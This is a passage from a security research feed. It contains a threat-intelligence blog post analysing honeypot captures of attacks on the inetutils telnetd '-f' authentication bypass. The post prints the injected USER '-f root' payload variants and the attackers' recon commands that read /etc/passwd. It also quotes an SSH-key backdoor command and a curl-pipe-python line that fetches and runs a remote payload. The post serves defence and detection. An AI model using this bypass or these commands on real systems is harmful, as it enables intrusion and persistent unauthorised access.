<pre><code>tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d
tags:"Generic Contains Well-known Out-of-band Interaction Domain" last_seen:7d</code></pre>
<pre><code>tags:"Spring Cloud Gateway Code Injection Attempt" last_seen:7d</code></pre>
<pre><code>metadata.asn:AS9009 last_seen:7d</code></pre>
<pre><code>metadata.asn:(AS9009 OR AS200019 OR AS27176 OR AS150654) tags:"Contains Well-known Out-of-band Interaction Domain"
metadata.asn:(AS9009 OR AS200019 OR AS27176 OR AS150654) tags:"Generic Contains Well-known Out-of-band Interaction Domain"</code></pre>
<pre><code>raw_data.ja4_fingerprints.ja4t:65495_2-4-8-1-3_65495_7</code></pre>
<pre><code>tags:"Keycloak Open Redirect CVE-2024-8883 Check" last_seen:30d</code></pre>
<hr>
<p><strong>Analysis Period:</strong> January 17-23, 2026 (7 days)<br>
<strong>Data Source:</strong> GreyNoise Global Observation Grid<br>
<strong>Total Sessions:</strong> 9,004<br>
<strong>Unique Source IPs:</strong> 313<br>
<strong>Decoded OAST Domains:</strong> 5,171</p>


</section>

 ]]></description>
  <category>OAST</category>
  <category>MCP</category>
  <category>projectdiscovery</category>
  <category>interactsh</category>
  <category>rce</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Generated</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-01-24-weekly-oast-report/</guid>
  <pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-01-24-weekly-oast-report/media/cover.png" medium="image" type="image/png" height="116" width="144"/>
</item>
<item>
  <title>-f Around and Find Out: 18 Hours of Unsolicited Telnet Houseguests</title>
  <dc:creator>hrbrmstr + 🔮Orbie✨</dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p>Shortly after <a href="https://seclists.org/oss-sec/2026/q1/89">news circulated about the remote authentication by-pass in telnetd</a>, the Labs team quickly triaged the exploit, had a <a href="https://viz.greynoise.io/tags/inetutils-telnetd--f-auth-bypass-attempt?days=30">tag</a> made and put in place, and also stood up some vulnerable sensors The attackers arrived in short order.</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/media/viz.png" class="img-fluid"></p>
<p>The team was jamming with our pals over at Censys and it looks like this is thankfully going to be a nothingburger of a weakness. Since the URL to the Censys platform is causing all sorts of fun URL parsing and rendering problems for every Markdown environment I’ve put it in, you should head to <a href="https://platform.censys.io/search" class="uri">https://platform.censys.io/search</a> (provided you have an account) and use this query:</p>
<pre><code>host.services:
  (
    protocol: "TELNET" and
    banner=~"\\w+\\s+[0-9]+\\.[0-9]+(\\.[0-9]+)*(-[\\w-]+)?\\s+\\([^)]+\\)\\s+\\([^)]+\\)"
  )</code></pre>
<p>to see the blast radius <em>(what’s the over/under on how many of those honeypots?)</em>.</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/media/censys.png" class="img-fluid"></p>
<p>I’ve asked a few folks to rummage around the systems, but the PCAPs from ~18 exploit attempts tell a fairly comprehensive story on their own.</p>
<p>Let’s take a look!</p>
<section id="mandatory-boring-but-informative-executive-summary" class="level2">
<h2 class="anchored" data-anchor-id="mandatory-boring-but-informative-executive-summary">Mandatory (Boring, But Informative) Executive Summary</h2>
<p>Analysis of the combined sessions reveals a coordinated exploitation campaign targeting Telnet services (TCP/23) using the <strong>Inetutils Telnetd <code>-f</code> authentication bypass vulnerability</strong>. The attack leverages a command injection flaw in the Telnet daemon’s handling of environment variables, specifically the USER environment variable with the <code>-f</code> flag to bypass normal authentication mechanisms.</p>
<p><strong>Key Findings:</strong></p>
<ul>
<li><strong>18 unique attacker source IPs</strong> conducted <strong>60 exploitation attempts</strong></li>
<li>All traffic is Telnet protocol (TCP/23) - <strong>100% malicious</strong></li>
<li>Multiple payload variants indicate diverse attacker tooling/configurations</li>
<li>Post-exploitation activities include system reconnaissance, SSH key persistence, and malware deployment attempts</li>
<li>Campaign shows characteristics of both opportunistic scanning and targeted follow-up exploitation</li>
</ul>
</section>
<section id="traffic-overview" class="level2">
<h2 class="anchored" data-anchor-id="traffic-overview">Traffic Overview</h2>
<p>Thankfully, there were only a few attackers desperate enough to try to claim the rights to those ~3K systems Censys shows. This is the extent of the activity as of this penned post:</p>
<pre><code>Total Packets:     1,525
Total Bytes:       104,025 bytes (101.6 KB)
Telnet Frames:     712 (46.7% of total packets)
TCP Conversations: 60 unique sessions</code></pre>
<ul>
<li><strong>First Activity:</strong> 2026-01-21 07:19:15 (38.145.220.204)</li>
<li><strong>Last Activity:</strong> 2026-01-22 04:08:41 (178.16.53.82)</li>
<li><strong>Peak Activity:</strong> Multiple bursts from 178.16.53.82 (12 sessions)</li>
</ul>
<p>We ran the packets through a series of spelunks in <code>tshark</code> and Suricata (with a fairly bland set of rules since our own rules caught the attempt in the fleet).</p>
<p>Since a couple attackers did manage to violate those vulnerable systems, Suri picked up on it right away:</p>
<pre><code>Alert Signature: GPL ATTACK_RESPONSE id check returned root
Category:        Potentially Bad Traffic
Severity:        Medium (2)
Trigger:         Response indicating successful root access
Flow ID:         1181824199682214 (156.238.237.103 → 8.XX.XX.XX.XX:23)</code></pre>
<p>We’ll get to the exploits in a moment, but we do need to set up some baseline info first…</p>
</section>
<section id="more-than-you-ever-wanted-to-know-about-initial-access-exploits-over-telnet" class="level2">
<h2 class="anchored" data-anchor-id="more-than-you-ever-wanted-to-know-about-initial-access-exploits-over-telnet">More Than You Ever Wanted To Know About Initial Access Exploits Over Telnet</h2>
<p>Just in case you’re not as obsessed as we are about emergent threats, the Inetutils Telnet daemon contains a critical authentication bypass vulnerability exploitable via the <code>-f</code> flag in the <code>USER</code> environment variable during the Telnet negotiation phase. This allows attackers to skip authentication and gain shell access as an arbitrary user (typically <code>root</code>).</p>
<p>This is the “attack vector” in all its glory:</p>
<pre><code>Telnet Option Negotiation (IAC SB) →
  ENVIRON variable injection →
    USER=-f &lt;username&gt; →
      Authentication bypass →
        Direct shell access</code></pre>
<blockquote class="blockquote">
<p><em>NOTE: We’re going to use more than a few “Telnet” wonk terms so please keep <a href="https://datatracker.ietf.org/doc/html/rfc854">RFC 854</a> handy in a tab or PDF viewer. Honestly, a few of the attackers should have done that as well.</em></p>
</blockquote>
<p>All observed payloads follow the Telnet IAC ““Interpret As Command”) negotiation format embedding the malicious USER variable:</p>
<pre><code>[Telnet IAC negotiations]
[Terminal speed: 9600,9600 or 38400,38400 or 0,0]
[Terminal type: XTERM-256COLOR / xterm-256color / screen-256color / UNKNOWN]
USER.-f &lt;target_user&gt;
[Optional: DISPLAY variable for X11]</code></pre>
<p>The <code>-f</code> flag forces the Telnet daemon to treat the connection as pre-authenticated for the specified user.</p>
<p>On to the exploits!</p>
</section>
<section id="attacker-source-analysis-unique-payloads" class="level2">
<h2 class="anchored" data-anchor-id="attacker-source-analysis-unique-payloads">Attacker Source Analysis &amp; Unique Payloads</h2>
<p><em>(Feel free to jump down to “Payload Taxonomy” which summarises these initial access config details. We won’t mind.)</em></p>
<section id="sessions-10-unique-targets" class="level3">
<h3 class="anchored" data-anchor-id="sessions-10-unique-targets">178.16.53.82 (12 sessions, 10 unique targets)</h3>
<p><strong>Payload Variant:</strong></p>
<pre><code>Terminal: 9600,9600 baud
Environment: USER.-f root
Terminal Type: XTERM-256COLOR (uppercase)</code></pre>
<p><strong>Sample (hex-decoded):</strong></p>
<pre><code>.. .9600,9600....'..USER.-f root......XTERM-256COLOR..</code></pre>
<p><strong>Behavioral Notes:</strong></p>
<p>This was the most prolific attacker in capture, slinging the most consistent payload across all sessions, which suggests the use of a single toolkit.</p>
<p>The very “mid” post-exploitation activity was nothing to write home about:</p>
<div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb8-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">uname</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-a</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">id</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">cat</span> /proc/cpuinfo<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">cat</span> /etc/passwd<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span></span>
<span id="cb8-2"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-n</span> S<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-n</span> U<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">uname</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-a</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span>EU<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> blah<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">hostname</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-f</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span>blah<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">uname</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-a</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">id</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">cat</span> /proc/cpuinfo<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">cat</span> /etc/passwd<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span></span></code></pre></div>
<p>This is a pretty big “tell” that we’re looking at automated reconnaissance, since command output wrapped in markers for parsing (<code>S</code>/<code>EU</code>/<code>blah</code> delimiters),</p>
<hr>
</section>
<section id="sessions-4-unique-targets" class="level3">
<h3 class="anchored" data-anchor-id="sessions-4-unique-targets">216.106.186.24 (9 sessions, 4 unique targets)</h3>
<p><strong>Payload Variant:</strong></p>
<pre><code>Terminal: 38400,38400 baud
Environment: USER.-f root
Terminal Type: UNKNOWN (unrecognized terminal)</code></pre>
<p><strong>Sample:</strong></p>
<pre><code>.. .38400,38400....'..USER.-f root......UNKNOWN..</code></pre>
<p>This one concentrated efforts on a particular <code>/16</code> subnet, and focused on SSH public key injection, with a secondary payload being a Python-based malware download.</p>
<div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb11-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># SSH Key Persistence Attempt</span></span>
<span id="cb11-2"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC760bkQm5qeRZ6bgXfbUIKFcJF7ef6fB</span></span>
<span id="cb11-3"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">1Ee+3KJJkmefYCtjYXKtAGn17cLJ6IzONHM/sRe7XqnkgD0J/pLSWKeDwaaQq9+u/6xFV48VbZtdVc</span></span>
<span id="cb11-4"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">Ht4zOwLUBGnh1zaE4YoEWzCwtY33pldX9BKINJDRRFTPjjr6+Z1u00e+IWe2rQZ9qzGBriunNTCqRh</span></span>
<span id="cb11-5"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">eopcM4NFOdoce2/JLT6m046lTg7te/fUwwZNPj8lXGX7gcc5X7UblmkzeUKvVhOknmxAd55IyhQZdL</span></span>
<span id="cb11-6"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">8Aro0/RC8GEHIu1uDgGBrZXxX6Nef4g9/kRb0A7AhCAwadMwjqObKd/t7mbbqsjz53nx+6/tHoQaAA</span></span>
<span id="cb11-7"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">XDBJu0pAm/hZM5KRUxwFLrX8+2lLPa7LOYgbO6FlMz/yYPnrae8ZGRuog/82y7pZtS37Ce5z3C2PBd</span></span>
<span id="cb11-8"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">ZCqubT884R2VwELuL7VJIER2t8xsj8QlYA0sOWzOGhS3i/UU2c2iISe0rXEhWHI1efV9m3TBs3pguy</span></span>
<span id="cb11-9"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">ujkOeW2M8KfCs= root@s51865.vps.hosting'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> ~/.ssh/authorized_keys</span>
<span id="cb11-10"></span>
<span id="cb11-11"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Malware Deployment Attempt</span></span>
<span id="cb11-12"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nohup</span> curl <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-fsSL</span> http://XX.XX.XX.XX:8000/apps.py <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">python</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-</span> XX.XX.XX.XX_ <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> /dev/null <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;</span></span></code></pre></div>
<hr>
</section>
<section id="sessions-6-unique-targets" class="level3">
<h3 class="anchored" data-anchor-id="sessions-6-unique-targets">149.88.75.211 (6 sessions, 6 unique targets)</h3>
<p><strong>Payload Variants (2):</strong></p>
<pre><code>Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root................* (with trailing asterisk padding)</code></pre>
<p>Since there were two distinct payload formats, this suggests multi-tool usage or version differences. They were also slinging this exploit everywhere (so you almost certainly caught them in your logs…you <em>are</em> logging and reviewing logs, right?).</p>
<hr>
</section>
<section id="sessions-5-unique-targets" class="level3">
<h3 class="anchored" data-anchor-id="sessions-5-unique-targets">156.238.237.103 (5 sessions, 5 unique targets)</h3>
<p><strong>Payload Variants (2):</strong></p>
<pre><code>Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root................*</code></pre>
<p>This was the one which triggered the IDS alert for successful <code>root</code> access.</p>
<hr>
</section>
<section id="sessions-single-target" class="level3">
<h3 class="anchored" data-anchor-id="sessions-single-target">167.172.111.135 (4 sessions, single target)</h3>
<p><strong>Payload Variants (2):</strong></p>
<pre><code>Terminal: 0,0 baud (no speed negotiation)
Variant A: USER.-f nobody
Variant B: USER.-f daemon
Terminal Type: xterm-256color (lowercase)</code></pre>
<p>Now, this was a persistent one. It focused on a single target, and made attemps with those non-<code>root</code> accounts. It suggests a slightly more clever actor who has run into situations where there may have been detection in place for <code>root</code> attempts, and that they may have a few privilege escalation tricks up their sleeve.</p>
<p>There were just four sessions, and the speed between them suggests this was a very human operator at an IRL keyboard.</p>
<hr>
</section>
<section id="sessions-single-target-1" class="level3">
<h3 class="anchored" data-anchor-id="sessions-single-target-1">165.22.30.48 (3 sessions, single target)</h3>
<p><strong>Payload Variants (3):</strong></p>
<pre><code>Terminal: 0,0 baud
USER.-f nobody
USER.-f daemon
USER.-f nonexistent123
Terminal Type: xterm-256color</code></pre>
<p>This also has signs of human-at-keyboard (I guess “AI” isn’t taking all the boring jobs, yet?), and the use of <code>nonexistent123</code> at least shows some signs of creativitity.</p>
<hr>
</section>
<section id="sessions-4-unique-targets-1" class="level3">
<h3 class="anchored" data-anchor-id="sessions-4-unique-targets-1">66.90.99.202 (4 sessions, 4 unique targets)</h3>
<p><strong>Payload Variants (2):</strong></p>
<pre><code>Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root......XTERM..</code></pre>
<p>This one either wrote one bad script without the terminal config, then fixed it, or they’re just pressing keys (badly) based on a task list.</p>
<hr>
</section>
<section id="sessions-4-unique-targets-2" class="level3">
<h3 class="anchored" data-anchor-id="sessions-4-unique-targets-2">67.220.95.16 (4 sessions, 4 unique targets)</h3>
<p><strong>Payload Variant:</strong></p>
<pre><code>Terminal: 38400,38400 baud
USER.-f root
Terminal Type: UNKNOWN</code></pre>
<p>This dude use the same initial-access source IP as the C2 IP. Rookie!</p>
<hr>
</section>
</section>
<section id="sessions-2-targets" class="level2">
<h2 class="anchored" data-anchor-id="sessions-2-targets">203.155.222.145 (2 sessions, 2 targets)</h2>
<p><strong>Payload Variants (2):</strong></p>
<pre><code>Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root................*</code></pre>
<p>There is literally nothing more to say about this one. They might as well have not even bothered wasting the bandwidth.</p>
<hr>
<section id="sessions-2-targets-1" class="level4">
<h4 class="anchored" data-anchor-id="sessions-2-targets-1">103.151.172.31 (2 sessions, 2 targets)</h4>
<p><strong>Payload Variants (2):</strong></p>
<pre><code>Variant A: .. .38400,38400....#.kali.kali:0.0....'..USER.-f root.DISPLAY.kali.kali:0.0......XTERM-256COLOR..
Variant B: ....XTERM-256COLOR.....</code></pre>
<p>Some real diversity at last! Someone fired up Kali linux into full GUI mode and started typing. Everyone needs a hobby, I guess.</p>
<hr>
</section>
<section id="sessions-single-target-2" class="level4">
<h4 class="anchored" data-anchor-id="sessions-single-target-2">45.87.43.148 (2 sessions, single target)</h4>
<p><strong>Payload Variant:</strong></p>
<pre><code>Terminal: 38400,38400 baud
USER.-f root
Terminal Type: xterm-256color</code></pre>
<p>While they did keep focus (that “single target”), they were also pretty ineffective.</p>
<hr>
</section>
<section id="session" class="level4">
<h4 class="anchored" data-anchor-id="session">213.93.218.8 (1 session)</h4>
<p><strong>Payload Variant:</strong></p>
<pre><code>Terminal: 38400,38400 baud
DISPLAY: MiniBear:0
USER.-f root
Terminal Type: XTERM-256COLOR</code></pre>
<p>It was nice of this one to tell us what their hostname is.</p>
<hr>
</section>
<section id="session-1" class="level4">
<h4 class="anchored" data-anchor-id="session-1">40.124.112.175 (1 session)</h4>
<p><strong>Payload Variant:</strong></p>
<pre><code>Terminal: 0,0 baud
DISPLAY: shared-vm2.localdomain:0
USER.-f root
Terminal Type: XTERM-256COLOR</code></pre>
<p>Again with the hostname leak?! I do wish it were a bit more detailed since I’m sure a thousand cloud providers use the same naming structure in their VPS environments.</p>
<hr>
</section>
<section id="session-2" class="level3">
<h3 class="anchored" data-anchor-id="session-2">183.6.91.54 (1 session)</h3>
<p><strong>Payload Variant:</strong></p>
<pre><code>Terminal: 9600,9600 baud
USER.-f root
Terminal Type: screen-256color (GNU Screen terminal multiplexer)</code></pre>
<p>At least I can respect an attacker who multitasks, and who rightly uses <code>screen</code> to do so (don’t @-me <code>tmux</code> cult members). I gotta wonder how many more sessions this individual was managing at once, now.</p>
<hr>
</section>
<section id="session-3" class="level3">
<h3 class="anchored" data-anchor-id="session-3">223.254.128.15 (1 session)</h3>
<p><strong>Payload Variant:</strong></p>
<pre><code>..'..USER.-f root..............</code></pre>
<p><em>Yawn.</em></p>
<hr>
</section>
<section id="session-4" class="level3">
<h3 class="anchored" data-anchor-id="session-4">104.28.222.46 (1 session)</h3>
<p><strong>Payload Variant:</strong></p>
<pre><code>..'..USER.-f root..-f root (duplicate -f root argument)</code></pre>
<p>Someone fat-fingered the attempt. <code>-f</code> stands for “fail” in this case.</p>
<hr>
</section>
<section id="session-5" class="level3">
<h3 class="anchored" data-anchor-id="session-5">38.145.220.204 (1 session)</h3>
<p><strong>Payload Variant:</strong></p>
<pre><code>..'..USER.-f root..</code></pre>
<p><em>Yawn.</em></p>
<hr>
</section>
<section id="session-6" class="level3">
<h3 class="anchored" data-anchor-id="session-6">45.143.233.138 (1 session)</h3>
<p><strong>Payload Variant:</strong></p>
<pre><code>Terminal: 38400,38400 baud
USER.-f root
Terminal Type: UNKNOWN</code></pre>
<p>At least this one likes being mysterious.</p>
<hr>
</section>
</section>
<section id="payload-taxonomy" class="level2">
<h2 class="anchored" data-anchor-id="payload-taxonomy">Payload Taxonomy</h2>
<section id="by-terminal-speed-configuration" class="level3">
<h3 class="anchored" data-anchor-id="by-terminal-speed-configuration">By Terminal Speed Configuration</h3>
<table class="caption-top table">
<colgroup>
<col style="width: 44%">
<col style="width: 55%">
</colgroup>
<thead>
<tr class="header">
<th>Baud</th>
<th>Grouping</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>9600,9600 baud</td>
<td>2 sources (178.16.53.82, 183.6.91.54)</td>
</tr>
<tr class="even">
<td>38400,38400 baud</td>
<td>7 sources (216.106.186.24, 103.151.172.31, 45.87.43.148, 67.220.95.16, 45.143.233.138, 213.93.218.8)</td>
</tr>
<tr class="odd">
<td>0,0 baud (none)</td>
<td>2 sources (167.172.111.135, 165.22.30.48, 40.124.112.175)</td>
</tr>
<tr class="even">
<td>Not specified</td>
<td>7 sources (minimal payloads)</td>
</tr>
</tbody>
</table>
</section>
<section id="by-terminal-type" class="level3">
<h3 class="anchored" data-anchor-id="by-terminal-type">By Terminal Type</h3>
<table class="caption-top table">
<colgroup>
<col style="width: 44%">
<col style="width: 55%">
</colgroup>
<thead>
<tr class="header">
<th>Config</th>
<th>Grouping</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>XTERM-256COLOR</td>
<td>5 sources (uppercase variant - Linux/BSD standard)</td>
</tr>
<tr class="even">
<td>xterm-256color</td>
<td>3 sources (lowercase variant - compatibility mode)</td>
</tr>
<tr class="odd">
<td>screen-256color</td>
<td>1 source (GNU Screen multiplexer)</td>
</tr>
<tr class="even">
<td>UNKNOWN</td>
<td>4 sources (generic/unrecognized terminal)</td>
</tr>
<tr class="odd">
<td>Not specified</td>
<td>5 sources</td>
</tr>
</tbody>
</table>
</section>
<section id="by-target-user" class="level3">
<h3 class="anchored" data-anchor-id="by-target-user">By Target User</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Config</th>
<th>Grouping</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>root</td>
<td>15 sources (83.3% - standard privilege escalation)</td>
</tr>
<tr class="even">
<td>nobody</td>
<td>2 sources (low-privilege user testing)</td>
</tr>
<tr class="odd">
<td>daemon</td>
<td>2 sources (service account testing)</td>
</tr>
<tr class="even">
<td>nonexistent123</td>
<td>1 source (invalid user probe)</td>
</tr>
</tbody>
</table>
</section>
<section id="by-x11-display-variable" class="level3">
<h3 class="anchored" data-anchor-id="by-x11-display-variable">By X11 Display Variable</h3>
<p>3 sources:</p>
<ul>
<li>kali.kali:0.0 (103.151.172.31)</li>
<li>MiniBear:0 (213.93.218.8)</li>
<li>shared-vm2.localdomain:0 (40.124.112.175)</li>
</ul>
<hr>
</section>
</section>
<section id="post-exploitation-activity-taxonomy" class="level2">
<h2 class="anchored" data-anchor-id="post-exploitation-activity-taxonomy">Post-Exploitation Activity Taxonomy</h2>
<section id="reconnaissance-commands" class="level3">
<h3 class="anchored" data-anchor-id="reconnaissance-commands">Reconnaissance Commands</h3>
<p><strong>Source:</strong> 178.16.53.82 (multiple sessions)</p>
<div class="sourceCode" id="cb28" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb28-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># System fingerprinting</span></span>
<span id="cb28-2"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">uname</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-a</span>                <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Kernel/OS version</span></span>
<span id="cb28-3"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">id</span>                      <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># User/group context</span></span>
<span id="cb28-4"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">cat</span> /proc/cpuinfo       <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Hardware details</span></span>
<span id="cb28-5"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">cat</span> /etc/passwd         <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># User enumeration</span></span>
<span id="cb28-6"></span>
<span id="cb28-7"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Automated output parsing wrapper</span></span>
<span id="cb28-8"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-n</span> S<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-n</span> U<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">uname</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-a</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span>EU<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> blah<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">hostname</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-f</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span>blah</span></code></pre></div>
<p>Automated bot collecting system metadata for vulnerability correlation or C2 inventory management. Output delimiters (S, U/EU, blah) suggest automated parsing by C2 infrastructure.</p>
<hr>
</section>
<section id="persistence-mechanisms" class="level3">
<h3 class="anchored" data-anchor-id="persistence-mechanisms">Persistence Mechanisms</h3>
<p><strong>Source:</strong> 216.106.186.24</p>
<div class="sourceCode" id="cb29" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb29-1"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ssh-rsa AAAAB3NzaC1yc2EAAAA...[truncated]...= root@s51865.vps.hosting'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> ~/.ssh/authorized_keys</span></code></pre></div>
<p><strong>SSH Public Key Fingerprint (MD5):</strong></p>
<pre><code># Key origin: root@s51865.vps.hosting
# Key type: RSA 3072-bit
# Purpose: Persistent SSH backdoor access</code></pre>
<p><strong>Observed Failure:</strong></p>
<pre><code>-bash: /root/.ssh/authorized_keys: No such file or directory</code></pre>
<p>Target lacks <code>.ssh</code> directory. Nice try tho!</p>
<hr>
</section>
<section id="malware-deployment" class="level3">
<h3 class="anchored" data-anchor-id="malware-deployment">Malware Deployment</h3>
<p><strong>Source:</strong> 216.106.186.24</p>
<div class="sourceCode" id="cb32" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb32-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nohup</span> curl <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-fsSL</span> http://67.220.95.16:8000/apps.py <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">python</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-</span> 8.XX.XX.XX_ <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> /dev/null <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;</span></span></code></pre></div>
<p><strong>Breakdown:</strong></p>
<ul>
<li><code>nohup</code>: Background execution, survives shell termination</li>
<li><code>curl -fsSL</code>: Silent download with redirect following</li>
<li><code>http://67.220.95.16:8000/apps.py</code>: Second-stage Python payload</li>
<li><code>python -</code>: Execute downloaded code via stdin</li>
<li><code>8.XX.XX.XX_</code>: Command-line argument (target identifier for C2 callback)</li>
<li><code>&gt; /dev/null &amp;</code>: Suppress output, background process</li>
</ul>
<p><strong>Observed Failures:</strong></p>
<pre><code>nohup: failed to run command 'curl': No such file or directory
-bash: python: command not found</code></pre>
<p>Target environment lacks curl/python. Again, kudos for trying!</p>
